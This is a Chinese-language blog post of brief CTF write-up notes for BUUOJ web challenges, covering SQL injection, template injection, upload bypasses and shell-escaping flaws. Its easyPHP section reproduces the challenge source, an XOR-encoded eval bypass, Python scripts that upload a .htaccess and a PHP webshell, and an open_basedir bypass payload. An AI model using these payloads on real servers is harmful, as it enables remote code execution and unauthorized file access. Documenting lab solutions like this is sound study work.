BUUOJ刷题记录

BUUOJ刷题记录

内容纲要

前言

拖更好久,不写东西感觉整个人都废掉了,把印象笔记里刷题的小记录整理一下好了。只是做完题的一点随笔,现在一看好不详细

Warm up

代码审计题,要两次URLencode“?”,然后好像就是file读文件?多../几层就完事了,说实话逻辑不很清晰。

强网杯-随便注

当然并不是随便注,用的堆叠注入与修改表名以致易读取字段的手法。

easy-tornado 

首先会看到hint里hash数值的构造方式,缺cookie_secret字段值,随便一试会发现errmsg参数存在模板注入,搜到tornado的模板注入文件,的secret,算得hash值。

强网杯2019-高明的黑客 

for i in files 一个个文件的测试get能否RCE

admin

unicode特性绕过注册/条件竞争

easySQL

后端SQL语句的猜测与试验 模糊查询

Hack World

盲注,可limit和like绕过,也可直接布尔盲注

check in

https://xz.aliyun.com/t/6091
上传,上传user.ini绕过  .user.ini中设置php.ini中PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置,而且只要是在使用 CGI/FastCGI 模式的服务器上都可以使用.user.ini

ikun

  1. 爆破目录,找某段信息,算是爬虫一部分
  2. 改包,折扣,薅羊毛
  3. JWT爆破
  4. 代码审计
  5. python反序列化

Online Tool

首先是代码审计,理清思路,两个关键函数:

  • escapeshellarg() 转码为shell可用的编码 转义所有的单引号。
  • escapeshellcmd() 转义落单的单引号 ,同时转义特殊字符。

所以说,在两个联用的时候,可以让shell执行一些危险的东西。

https://althims.com/2019/07/25/buu-online-tool-wp/

pythonginx

一个现有的trick :

https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf

当URL 中出现一些特殊字符的时候,输出的结果可能不在预期,作者给我们提供了一些字符:

3775576166.png

fuzz之,可得file://suctf.%E3%8F%84绕过.

easyPHP

利用链感觉还蛮复杂的。

这题源自这题:
https://blog.zeddyu.info/2019/07/20/isitdtu-2019/

主要是利用了一个Php的经典特性“Use of undefined constant”,会将代码中没有引号的字符都自动作为字符串,7.2开始提出要被废弃,不过目前还存在着。

源码:

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!!
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^");
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^");
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}
 
$hhh = @$_GET['_'];
 
if (!$hhh){
    highlight_file(__FILE__);
}
 
if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}
 
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');
 
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
 
eval($hhh);
?> 

就是通过 _的 get 请求,绕过正则过滤,执行 get_the_flag()函数来拿到 flag

根据原题的wp,十六进制异或,得出Payload:

${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag

然后上传

SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"

def generate_php_file(filename, script):
    phpfile = open(filename, 'wb')

    phpfile.write(script.encode('utf-16be'))
    phpfile.write(SIZE_HEADER)

    phpfile.close()

def generate_htacess():
    htaccess = open('.htaccess', 'wb')

    htaccess.write(SIZE_HEADER)
    htaccess.write(b'AddType application/x-httpd-php .south\n')
    htaccess.write(b'php_value zend.multibyte 1\n')
    htaccess.write(b'php_value zend.detect_unicode 1\n')
    htaccess.write(b'php_value display_errors 1\n')

    htaccess.close()

generate_htacess()generate_php_file("webshell.south", "<?php eval($_GET['cmd']); die(); ?>")

也可用这个脚本直接传上去:

import requests
import base64

url = "http://vps:port/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"

htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_95edeac63aff85469e0ebd216f87ce5a/shell.cc"

"""

shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
#shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ b"<script language='php'>eval($_REQUEST[c]);</script>"

files = [('file',('.htaccess',htaccess,'image/jpeg'))]

data = {"upload":"Submit"}

proxies = {"http":"http://127.0.0.1:8080"}
r = requests.post(url=url, data=data, files=files)#proxies=proxies)
print(r.text) 

files = [('file',('shell.cc',shell,'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)

上传之后发现无法ls,要用0ctf-final的绕过open_basedir任意文件读取

一叶飘零师傅有文章:
https://skysec.top/2019/04/12/%E4%BB%8EPHP%E5%BA%95%E5%B1%82%E7%9C%8Bopen-basedir-bypass/

最终payload:

http://ip:port/upload/tmp_cc54f9a65160d1015e9d4b96601f1274/webshell.south?cmd=mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/"));
harmoc

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注